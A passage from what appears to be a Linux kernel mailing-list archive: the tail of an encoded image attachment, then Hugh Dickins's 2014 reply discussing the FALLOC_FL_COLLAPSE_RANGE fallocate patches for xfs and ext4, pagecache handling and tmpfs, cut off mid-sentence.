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 FFABRRRQAUUUUAFFFFABRRRQAUUUUAf/2Q== --20cf30051402accc6004f3431fb9-- From hughd@google.com Tue Feb 25 17:24:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 191697F50 for ; Tue, 25 Feb 2014 17:24:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A7BEDAC007 for ; Tue, 25 Feb 2014 15:24:37 -0800 (PST) X-ASG-Debug-ID: 1393370675-04cbb066e43e7a0001-NocioJ Received: from mail-pa0-f54.google.com (mail-pa0-f54.google.com [209.85.220.54]) by cuda.sgi.com with ESMTP id BcEx7sT9rGaWudFK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 15:24:36 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.54 Received: by mail-pa0-f54.google.com with SMTP id fa1so109069pad.41 for ; Tue, 25 Feb 2014 15:24:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=wMQc7Htu8k6z/OkBVWxMV6DqqVvH84gkPkIcs1pPVzY=; b=TX/3IlRSe6ACzt56K3EwPt4O+AdtK5dQKcVxU2D4oCxZ2Vy/bMYaJdZ0pc7Dw4g820 s340ItEhtkbDxeJzbgXxo0VL4EL5UR39EMB2YkMeifzU231PxMVJ/Ady+Y4EDw3ZPvr4 Gb1ho1kpeK7EgLXlTlrY3M0dbKouUAw7bK4hI48UmSOFzfmxZUkwqVpT6gezHomfzSDS KWsc6CwlAtd+tG99k/jGaUrKUplAXw2aDmr31y0nZdZbNq6U371THxL2/UOk1t7z6Ia2 /2uPzQ+axPZZtbHlwGA5ww8//pCgXL2xoWRbT8LQ8Zytelo8/cgc2UZManIaMngTDy8K /5dw== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=wMQc7Htu8k6z/OkBVWxMV6DqqVvH84gkPkIcs1pPVzY=; b=HDPzXjgD6IYuBKnc+rsrdcZLH36o6ftquZ3TlNCJm/K3HvWJOMH+TD7TW2/MfIsVZe aOzhKWb+EJ5UoFpLCNE1JODoj1mmDw9Zwu/BegSzxccI+d6hX+iUPS3tlg3TlRaEfswl RsdoETYB8UN96Q85tTKtWVBjeWyfDOqoXXUGepGmMZfAX6XVOWxDGbFuflnZGwkDHyW/ bjoP9JoMF1aOk0TXa0IBvqfVQ/j6gOVPsc2dDjb71QdEf3laQDDPUleaGu9aAnh4VAlz z6J2uiHUJO7mNDDYkbSfO2XbEp95X1NaqVobenlLAl3Wt60h0ID8Yn+zgaXObYan7qcV v6hQ== X-Gm-Message-State: ALoCoQnF/4TN4hNlQnwyG8Py1nltuQVvE67I8DhaXSohkytXtQb+ha3AEqdQ7rof3sgwcJOhqcBiL5ZoAd9R6vEb6DdMlDvpzmiy3EI5xslGPUQmLoUne38VbsP6pl7Pse/YidNZZnWui8sYmMVYNiChjmB0dd1HlaC3RuRgTdgt6FxBpQUc5hLMgksEzuqPc/tziIzYoEMW X-Received: by 10.68.197.36 with SMTP id ir4mr2569487pbc.46.1393370675386; Tue, 25 Feb 2014 15:24:35 -0800 (PST) Received: from [192.168.148.97] ([216.239.55.193]) by mx.google.com with ESMTPSA id sy2sm14417601pbc.28.2014.02.25.15.24.34 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 15:24:34 -0800 (PST) Date: Tue, 25 Feb 2014 15:23:35 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Namjae Jeon cc: Andrew Morton , Matthew Wilcox , Theodore Ts'o , Dave Chinner , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140225041346.GA29907@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pa0-f54.google.com[209.85.220.54] X-Barracuda-Start-Time: 1393370676 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, 25 Feb 2014, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > > > > > Namjae Jeon (10): > > > > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > > > > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > I've pushed these to the following branch: > > > > > > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range > > > > > > And so they'll be in tomorrow's linux-next tree. > > > > > > > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > I've left this one alone for the ext4 guys to sort out. > > > > So presumably that xfs tree branch is now completely stable and so Ted > > could just merge that branch into the ext4 tree as well and put the ext4 > > part on top of that in his tree. > > Well, for some definition of stable. Right now it's just a topic > branch that is merged into the for-next branch, so in theory it is > still just a set of pending changes in a branch in a repo that has > been pushed to linux-next for testing. > > That said, I don't see that branch changing unless we find bugs in > the code or a problem with the API needs fixing, at which point I > would add more commits to it and rebase the for-next branch that you > are pulling into the linux-next tree. > > Realistically, I'm waiting for Lukas to repost his other pending > fallocate changes (the zero range changes) so I can pull the VFS and > XFS bits of that into the XFS tree and I can test them together > before I'll call the xfs-collapse-range stable and ready to be > merged into some other tree... Thank you, Namjae and Dave, for driving this; and thank you, Ted and Matthew, for raising appropriate mmap concerns (2013-7-31 and 2014-2-2). I was aware of this work in progress, but only now found time to look. I've not studied the implementation, knowing too little of ext4 and xfs; but it sounds like the approach you've taken, writing out dirties and truncating all pagecache from the critical offset onwards, is the sensible approach for now - lame, and leaves me wondering whether an offline tool wouldn't be more appropriate; but a safe place to start if we suppose it will be extended to handle pagecache better in future. Of course I'm interested in the possibility of extending it to tmpfs; which may not be a worthwhile exercise in itself, except that it would force us to face and solve any pagecache/radixtree issues, if possible, thereby enhancing the support for disk-based filesystems. I doubt we should look into that before Jan Kara's range locking mods arrive, or are rejected. As I understand it, you're going ahead with this, knowing that there can be awkward races with concurrent faults - more likely to cause trinity fuzzer reports, than interfere 